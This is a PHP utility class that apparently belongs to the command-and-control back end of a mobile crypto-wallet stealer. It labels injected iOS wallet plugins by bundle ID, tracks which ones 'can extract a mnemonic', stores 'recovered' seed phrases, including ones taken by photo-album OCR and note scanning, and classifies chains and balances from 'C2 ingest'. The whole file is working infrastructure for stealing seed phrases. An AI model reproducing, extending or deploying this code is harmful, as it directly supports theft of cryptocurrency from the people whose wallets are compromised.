*/ private const TAGS = [ 'b' => 'imToken', 'b1' => 'imToken', 'p' => 'Global Wallet', 'd' => 'Trust Wallet', 'r' => 'Bitpie', 'q' => 'Coin98', 'e' => 'Coinbase Wallet', 'k' => 'Exodus', 'm' => 'Krystal', 'a' => 'MetaMask', 'a1' => 'MetaMask', 'j' => 'MyTonWallet', 'i' => 'Phantom', 'l' => 'Ronin', 'n' => 'Tonhub', 'g' => 'Tonkeeper', 'h' => 'Uniswap', 'h1' => 'Uniswap', 't' => 'OKX', 'c' => 'TronLink', 'f' => 'BitKeep', 's' => 'Solflare', 'tg' => 'Telegram', 'wp' => 'WhatsApp', 'wa' => 'WhatsApp', 'wap' => 'WhatsApp', 'sms' => 'iMessage', // lab / fixture aliases 'tp' => 'TokenPocket', 'im' => 'imToken', 'album_ocr' => '相册', 'note_scan' => '备忘录扫描', ]; /** * Display names for plugin wallet bundle IDs (mnemonic-capable). * * @var array */ private const BUNDLE_LABELS = [ 'im.token.app' => 'imToken', 'io.metamask' => 'MetaMask', 'io.metamask.MetaMask' => 'MetaMask', 'com.wallet.crypto.trustapp' => 'Trust Wallet', 'com.sixdays.trust' => 'Trust Wallet', 'com.okex.wallet' => 'OKX', 'com.okex.OKExAppstoreFull' => 'OKX', 'com.coinbase.wallet' => 'Coinbase Wallet', 'org.toshi.distribution' => 'Coinbase Wallet', 'com.exodus' => 'Exodus', 'exodus-movement.exodus' => 'Exodus', 'app.phantom' => 'Phantom', 'com.uniswap.mobile' => 'Uniswap', 'com.tronlinkpro.wallet' => 'TronLink', 'com.tronlink.hdwallet' => 'TronLink', 'com.mytonwallet.app' => 'MyTonWallet', 'org.mytonwallet.app' => 'MyTonWallet', 'com.tonhub.app' => 'Tonhub', 'com.tonkeeper.app' => 'Tonkeeper', 'com.jbig.tonkeeper' => 'Tonkeeper', 'vip.mytokenpocket' => 'TokenPocket', 'com.bitkeep.wallet' => 'BitKeep', 'com.bitkeep.os' => 'BitKeep', 'com.bitpie' => 'Bitpie', 'com.bitpie.wallet' => 'Bitpie', 'com.coin98' => 'Coin98', 'coin98.crypto.finance.insights' => 'Coin98', 'com.solflare.mobile' => 'Solflare', 'com.roninchain.wallet' => 'Ronin', 'com.skymavis.Genesis' => 'Ronin', 'com.krystal.wallet' => 'Krystal', 'com.kyrd.krystal.ios' => 'Krystal', 'com.global.wallet.ios' => 'Global Wallet', ]; /** * DS /war wallet bucket keys → display name. Unknown keys stay empty. * * @var array */ private const DS_WALLET_KEYS = [ 'trustwallet' => 'Trust Wallet', 'trust_wallet' => 'Trust Wallet', 'trust' => 'Trust Wallet', 'imtoken' => 'imToken', 'im.token' => 'imToken', 'tokenpocket' => 'TokenPocket', 'token_pocket' => 'TokenPocket', 'phantom' => 'Phantom', 'uniswap' => 'Uniswap', 'coinbase' => 'Coinbase Wallet', 'bitget' => 'BitKeep', 'bitkeep' => 'BitKeep', 'metamask' => 'MetaMask', 'okx' => 'OKX', 'tronlink' => 'TronLink', 'coin98' => 'Coin98', 'solflare' => 'Solflare', 'exodus' => 'Exodus', 'tonkeeper' => 'Tonkeeper', 'mytonwallet' => 'MyTonWallet', 'tonhub' => 'Tonhub', 'bitpie' => 'Bitpie', 'telegram' => 'Telegram', 'whatsapp' => 'WhatsApp', ]; /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */ private const NON_MNEMONIC_BUNDLES = [ 'ph.telegra.Telegraph', 'net.whatsapp.WhatsApp', 'imagent', 'com.apple.imagent', ]; public const MANUAL_LABEL = '手动添加'; public static function fromTag(mixed $tag): string { if (! is_string($tag) || $tag === '') { return 'unknown'; } $key = strtolower(trim($tag)); return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag; } /** * Keystore source: known wallet name, or empty when unrecognized. */ public static function fromKeystoreHint(mixed $hint): string { if (! is_string($hint) || trim($hint) === '') { return ''; } $raw = trim($hint); $key = strtolower($raw); if (isset(self::TAGS[$key])) { return self::TAGS[$key]; } if (isset(self::DS_WALLET_KEYS[$key])) { return self::DS_WALLET_KEYS[$key]; } foreach (self::knownLabels() as $label) { if (strcasecmp($label, $raw) === 0) { return $label; } } if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) { return 'Trust Wallet'; } if (str_contains($key, 'bitpie')) { return 'Bitpie'; } if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) { return 'imToken'; } if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) { return 'TokenPocket'; } if (str_contains($key, 'metamask')) { return 'MetaMask'; } return ''; } /** * Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet). */ public static function tagForLabel(string $label): string { $label = trim($label); foreach (self::TAGS as $tag => $name) { if (strcasecmp($name, $label) === 0) { return $tag; } } return ''; } /** * Wallet names shown when an admin manually attaches a mnemonic. * * @return list */ public static function mnemonicSourceOptions(): array { $skip = ['Telegram', 'WhatsApp', 'iMessage', 'unknown']; $labels = []; foreach (self::knownLabels() as $label) { $label = trim($label); if ($label === '' || in_array($label, $skip, true)) { continue; } $labels[$label] = true; } $sorted = array_keys($labels); sort($sorted, SORT_NATURAL | SORT_FLAG_CASE); $sorted[] = self::MANUAL_LABEL; return $sorted; } /** * @return list */ private static function knownLabels(): array { return array_values(array_unique(array_merge( array_values(self::TAGS), array_values(self::DS_WALLET_KEYS), array_values(self::BUNDLE_LABELS), ))); } /** * True when this bundle is a business plugin that can extract a mnemonic. */ public static function isPluginWalletBundle(string $bundle): bool { $bundle = trim($bundle); if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) { return false; } if (isset(self::BUNDLE_LABELS[$bundle])) { return true; } $configured = config('coruna.wallet_bundles', []); return is_array($configured) && in_array($bundle, $configured, true) && ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true); } public static function labelForBundle(string $bundle, ?string $fallback = null): string { $bundle = trim($bundle); if (isset(self::BUNDLE_LABELS[$bundle])) { return self::BUNDLE_LABELS[$bundle]; } $fallback = trim((string) $fallback); return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown'); } /** * Chains we persist from C2 ingest (skip UNKNOWN / niche networks). * * @var list */ public const SUPPORTED_CHAINS = [ 'ETH', 'ETHEREUM', 'EVM', 'TRX', 'TRON', 'BTC', 'BITCOIN', 'BNB', 'BSC', 'BINANCE', ]; public static function isSupportedChain(string $chainType): bool { return in_array(strtoupper(trim($chainType)), self::SUPPORTED_CHAINS, true); } /** * Infer chain type from address when plugin omits chainType. */ public static function inferChainType(string $address): string { $address = trim($address); if ($address === '') { return 'UNKNOWN'; } if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) { return 'ETHEREUM'; } if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) { return 'TRON'; } // Binance Chain / Beacon Chain bech32 (must precede Solana base58) if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) { return 'BSC'; } if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) { return 'BITCOIN'; } if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) { // Solana-like base58 return 'SOLANA'; } if (preg_match('/^EQ|^UQ/i', $address)) { return 'TON'; } return 'UNKNOWN'; } /** * Format raw on-chain integer by decimal; pass through already-decimal strings. */ public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string { if ($raw === null || $raw === '') { return 0; } $rawStr = trim((string) $raw); if ($rawStr === '') { return 0; } // Already human-readable (contains decimal point) — keep numeric value. if (str_contains($rawStr, '.')) { return self::normalizeNumber($rawStr); } if ($decimal === null || $decimal === '') { return self::normalizeNumber($rawStr); } $dec = (int) $decimal; if ($dec <= 0) { return self::normalizeNumber($rawStr); } if (! function_exists('bcdiv')) { $value = ((float) $rawStr) / (10 ** $dec); return self::normalizeNumber((string) $value); } $formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec); $formatted = rtrim(rtrim($formatted, '0'), '.'); if ($formatted === '' || $formatted === '-0') { $formatted = '0'; } return self::normalizeNumber($formatted); } private static function normalizeNumber(string $value): int|float|string { if (! is_numeric($value)) { return $value; } if (str_contains($value, '.')) { $f = (float) $value; return $f == (int) $f ? (int) $f : $f; } // large integers stay as string if beyond PHP int if (strlen(ltrim($value, '+-')) > 18) { return $value; } return (int) $value; } public static function nativeSymbolForChain(string $chainType): string { return match (strtoupper($chainType)) { 'TRON', 'TRX' => 'TRX', 'BITCOIN', 'BTC' => 'BTC', 'ETHEREUM', 'ETH', 'EVM' => 'ETH', 'SOLANA', 'SOL' => 'SOL', 'TON' => 'TON', 'BNB', 'BSC', 'BINANCE' => 'BNB', default => strtoupper($chainType) ?: 'UNKNOWN', }; } }